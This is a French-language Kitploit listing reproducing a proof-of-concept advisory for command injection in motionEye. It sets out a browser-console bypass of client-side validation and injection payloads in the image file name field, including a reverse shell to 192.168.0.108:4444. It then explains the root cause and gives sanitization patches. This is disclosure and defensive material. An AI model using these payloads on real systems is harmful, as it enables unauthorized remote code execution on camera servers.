Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
motionEye-RCE-through-config-parameter — Étapes du PoC pour cette vulnérabilité | Kitploit
Outils/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

Étapes du PoC pour cette vulnérabilité

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
21il y a 10 moisPas encore vérifié

MotionEye RCE via Client-Side Validation Bypass

Résumé

Lors d'un test de sécurité d'une instance MotionEye exécutée dans Docker, il a été observé que la validation côté client dans l'interface web peut être contournée. Cela permet de soumettre des entrées arbitraires, y compris des charges utiles pouvant déclencher une exécution sur le conteneur hôte. Le problème présente un risque d'exécution de code à distance (RCE) s'il est exploité.

Versions concernées: Toutes les versions jusqu'à 0.43.1b4 incluse
État du correctif: Aucun correctif disponible pour le moment. Une solution de contournement est fournie dans cet avis.
Référence du projet: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Environnement

  • Cible : MotionEye exécuté dans Docker
  • Image : ghcr.io/motioneye-project/motioneye:edge
  • Port exposé : 9999 mappé vers le port 8765 du conteneur
  • Identifiants de test : admin / mot de passe vide (par défaut)

Étapes de reproduction

1. Configuration du conteneur

Exécutez la commande suivante pour lancer le téléchargement de l'image Docker et démarrer le conteneur

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Vérification de la version

root@kitploit:~
docker logs motioneye | grep "motionEye server"

Résultat : Serveur MotionEye 0.43.1b4 image

3. Accès au système de fichiers

Une fois le conteneur Docker en cours d'exécution, le shell du conteneur peut être accessible à l'aide des commandes suivantes

root@kitploit:~
docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Accès initial

Accédez à l'interface web à l'adresse :
http://127.0.0.1:9999
Connexion : admin (mot de passe vide)

5. Configuration de la caméra

Ajout d'une caméra réseau RTSP d'exemple.
image

6. Tentative d'injection

Une commande d'exécution malveillante a été saisie dans le champ « Still Images » > « Image File Name », mais une erreur de validation côté client a été rencontrée.

root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Bloquée par la validation côté client.
image

image

7. Découverte de la validation côté client

Le script suivant est responsable de la validation : /static/js/main.js?v=0.43.1b4, qui fait référence à /static/js/ui.js?v=0.43.1b4 pour implémenter les conditions de validation.

Fichier : /static/js/main.js?v=0.43.1b4 référençant /static/js/ui.js?v=0.43.1b4

root@kitploit:~
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Technique de contournement

En redéfinissant la fonction configUiValid dans la console du navigateur, toutes les vérifications de validation peuvent être contournées : saisissez l'extrait ci-dessous dans la console du navigateur (F12 ou Ctrl+Maj+I)

root@kitploit:~
configUiValid = function() { 
    return true; 
};
image

9. Exécution de la charge utile

La charge utile peut désormais être saisie directement sans validation : définissez-la comme ci-dessous puis appliquez les paramètres.

Paramètres :

  • Mode de capture = Interval Snapshots
  • Intervalle = 10
  • Image File Name :
root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Appliqué → Fichier créé avec les permissions root.

image

Impact : armer la RCE

Production simple d'un reverse shell :

Écouteur :

root@kitploit:~
nc -lvnp 4444
image

Charge utile injectée :

root@kitploit:~
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Résultat : Shell distant obtenu.


Cause racine et flux

MotionEye est vulnérable car il prend les entrées utilisateur du tableau de bord web et les écrit directement dans les fichiers de configuration Motion sans vérifier les caractères dangereux. Par exemple, le champ image_file_name de l'interface est envoyé au backend (config.py) et enregistré dans /etc/motioneye/camera-.conf. Lorsque MotionEye redémarre le service Motion (motionctl.start), le processus Motion lit ce fichier de configuration. Si le champ picture_filename contient une syntaxe shell comme $(touch /tmp/test), Motion l'exécutera comme une véritable commande au lieu de la traiter comme faisant partie du nom de fichier.

Entrée non assainie écrite dans les fichiers de configuration Motion :
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parse picture_filename → exécute la charge utile


Prévention

Correctif d'assainissement

Fichier : /usr/local/lib/python3.13/dist-packages/motioneye/config.py

root@kitploit:~
def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
image

Appliquez l'assainissement :

root@kitploit:~
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

avant : image après : image


Résolution alternative

Étape 1 : Lancer Docker

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

Étape 2 : Accéder au conteneur

root@kitploit:~
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py

Étape 3 : Modifier la configuration

Original :

root@kitploit:~
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]

Remplacez par :

root@kitploit:~
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
image

Étape 4 : Redémarrer

root@kitploit:~
docker restart motioneye
image

Correctif alternatif

Dans motion_camera_ui_to_dict(...) :

Original :

root@kitploit:~
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']

Remplacez par :

root@kitploit:~
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
Télécharger l’outil